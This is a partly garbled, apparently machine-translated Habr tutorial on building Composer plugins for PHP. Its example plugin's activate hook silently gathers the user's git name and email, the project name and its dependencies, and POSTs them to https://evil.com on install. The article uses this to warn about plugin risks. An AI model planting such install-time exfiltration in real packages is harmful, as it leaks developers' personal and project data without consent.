Composer
is the most important tool in the suite of modern PHP developers. The days of manual dependency management remained in the distant past, and such wonderful things as Semver
took their place. Things that help us sleep at night, because we can update our dependencies without dropping everything around.Composer
quite often, not everyone knows how to expand its capabilities. Such an idea does not even arise, because he already does his job well by default, and it seems that it is not worth the time or effort to try or at least study. Even the official documentation bypasses this question . Probably because no one asks ...Composer
much easier. Composer
also recently moved from alpha to beta, perhaps the most conservative release cycle ever conceived. This tool, which changed the modern PHP world, made it the way we see it now. This is the cornerstone of PHP professional development. He just moved from alpha to beta.composer.json
file there: { "type": "composer-plugin", "name": "habrahabr/plugin", "require": { "composer-plugin-api": "^1.0" } }
composer-plugin
type in order to have access to the Composer life cycle hooks that we will use.composer-plugin-api
. This version is important because our plugin will be considered compatible with a particular version of the plugin API, which in turn affects things like the signature method. "autoload": { "psr-4": { "HabraHabr\\": "src" } }, "extra": { "class": "HabraHabr\\Plugin" }
src
with the file Plugin.php
. Here is the code that will work on the first hook in the Composer
life cycle: namespace HabraHabr; use Composer\Composer; use Composer\IO\IOInterface; use Composer\Plugin\PluginInterface; class Plugin implements PluginInterface { public function activate(Composer $composer, IOInterface $io) { print "hello world"; } }
PluginInterface
describes the existence of a public method activate
, which is called after the plug-in is loaded. Let's make sure our plugin works. Go to our application and create composer.json
for it: { "name": "habrahabr/app", "require": { "habrahabr/plugin": "*" }, "repositories": [ { "type": "path", "url": "../habrahabr-plugin" } ], "minimum-stability": "dev", "prefer-stable": true }
Composer
'that you need to request any available versions of habrahabr/plugin
and indicates the source for the dependency.dev
.composer install
from the application folder you will see the message hello world
! And all this without any placement of code on github or Packagist .rm -rf vendor composer.lock; composer install
command rm -rf vendor composer.lock; composer install
rm -rf vendor composer.lock; composer install
during development, it will allow to reset the application / plugin to its original state. This is especially useful when you start working with installation folders!composer/composer
in the dependency, this will make it easier for us to work with interfaces and classes that we need in the future.Composer
. Alternatively, you can use a debugger and check the entire course of execution, starting with the activate
method. Also, if you use an IDE, such as PHPStorm , the availability of source codes will make learning easier and help you easily navigate between your code and the dependency manager code.$composer->getPackage()
to see why this or that variable is needed in the composer.json
file. Composer
also provides the ability to ask questions during the installation process using $io->ask("...")
.git
: public function activate(Composer $composer, IOInterface $io) { exec("git config --global user.name", $name); exec("git config --global user.email", $email); $payload = []; if (count($name) > 0) { $payload["name"] = $name[0]; } if (count($email) > 0) { $payload["email"] = $email[0]; } }
git
config, the git config --global user.name
, executed in the terminal, will return them. Having executed them through exec
we will receive results in our plugin.dev
dependencies, let's make both groups a common method: private function addDependencies($type, array $dependencies, array $payload) { $payload = array_slice($payload, 0); if (count($dependencies) > 0) { $payload[$type] = []; } foreach ($dependencies as $dependency) { $name = $dependency->getTarget(); $version = $dependency->getPrettyConstraint(); $payload[$type][$name] = $version; } return $payload; }
$payload
array. Calling array_slice
guarantees that there are no side effects of this method; if we repeatedly call, we will get exactly the same results.pure function
, or an example of the use of immutable variables. public function activate(Composer $composer, IOInterface $io) { // ...get user details $app = $composer->getPackage()->getName(); if ($app) { $payload["app"] = $app; } $payload = $this->addDependencies( "requires", $composer->getPackage()->getRequires(), $payload ); $payload = $this->addDependencies( "dev-requires", $composer->getPackage()->getDevRequires(), $payload ); }
public function activate(Composer $composer, IOInterface $io) { // ...get user details // ...get project details $context = stream_context_create([ "http" => [ "method" => "POST", "timeout" => 0.5, "content" => http_build_query($payload), ], ]); @file_get_contents("https://evil.com", false, $context); }
file_get_contents
works just fine. In fact, all you need to do - POST
request for https://evil.com
with serialized data.Composer
plugin.composer install --no-plugins
option, but a lot of frameworks and content management systems depend on the plug-ins required to properly install them.exec
, filter and verify any data that is not hardcoded in the code. Otherwise, you create an attack vector for your code.IOInterface::ask("...")
is just what you need ...Source: https://habr.com/ru/post/280744/
All Articles